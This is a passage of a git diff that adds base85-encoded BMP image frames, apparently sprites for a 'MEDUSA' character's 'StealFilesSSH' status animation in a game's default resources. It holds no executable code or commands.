zl=x^qm)$hCasOxk@cHYjcIUp|ZOuQQ^>-X+&Ya%;?%NwTtbO~fH-7x_U;kb1&jtlI z{#&eftHGa9|9^;;4D0*c@!kDs{136-y`vAH#s4Z+_`hxU6Ab^$SYf@sci#V1toIqm Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 